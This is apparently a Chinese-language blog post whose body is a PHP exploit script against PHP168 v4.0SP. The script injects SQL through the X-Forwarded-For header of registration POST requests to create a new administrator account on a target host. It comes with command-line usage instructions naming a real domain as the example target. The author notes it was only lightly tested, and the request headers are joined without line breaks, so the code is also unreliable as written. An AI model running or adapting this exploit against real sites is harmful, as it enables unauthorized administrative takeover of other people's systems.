PHP168 X-Forwarded-For的漏洞利用
作者：amxku
来源：amxku’s blog
漏洞本身的成因没什么好说的，老掉牙的x-forwarded-for的问题，我想这个漏洞很多人都找到了。
因为这个漏洞也有些时间了，当时只是在pc上测试了一下，可能有些错误，有兴趣的同学可以自己研究一下。
<?php
print_r("
+------------------------------------------------------------------+
Create New Admin Exploit For php168 v4.0SP\n
amxku.net
+------------------------------------------------------------------+
");
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path uid\n";
echo "host: target server \n";
echo "path: path to php168\n";
echo "uid: the user uid\n";
echo "Example:";
echo "php ".$argv[0]." www.php168.com / 123345\n";
die;
}
$host=$argv[1];
$path=$argv[2];
$id=$argv[3]+2;
$cmd = "xxxx','0','111','0','1','', '', '123', '123', '123', '123', '0', '', '0', '', '', '', ''),('".$id."', '0', '3', '', '1', '0', '', '1', '1', '1', '1', '1', '1', '1', '', '', '1', '1', '1', '1', '0', '', '0', '', '', '', '')/*";
$content_1= "username=amxku&[email protected]&password=longze&password2=longze&bday_y=&bday_m=&bday_d=&sex=0&oicq=&msn=&homepage=&Submit3=%CC%E1+%BD%BB&step=2";
$content_2= "username=amxku&[email protected]&password=longze&password2=longze&bday_y=&bday_m=&bday_d=&sex=0&oicq=&msn=&homepage=&Submit3=%CC%E1+%BD%BB&step=2";
senddate($content_1);
senddate($content_2);
function senddate($content){
global $path,$host,$cmd;
$data = "POST ".$path."reg.php"." HTTP/1.1";
$data .= "Accept: */*";
$data .= "Accept-Language: zh-cn";
$data .= "Content-Type: application/x-www-form-urlencoded";
$data .= "User-Agent: Mozilla/4.0";
$data .= "Host: ".$host."";
$data .= "x-forwarded-for: ".$cmd."";
$data .= "Content-length: ".strlen($content)."";
$data .= "Connection: Keep-Alive";
$data .= "";
$data .= $content."";
$sendto=fsockopen($host,80);
if (!$sendto) {
echo 'No response from '.$host;
die;
}
fputs($sendto,$data);
fclose($sendto);
};
echo "Create a successful administrator\n amxku.net";
?> 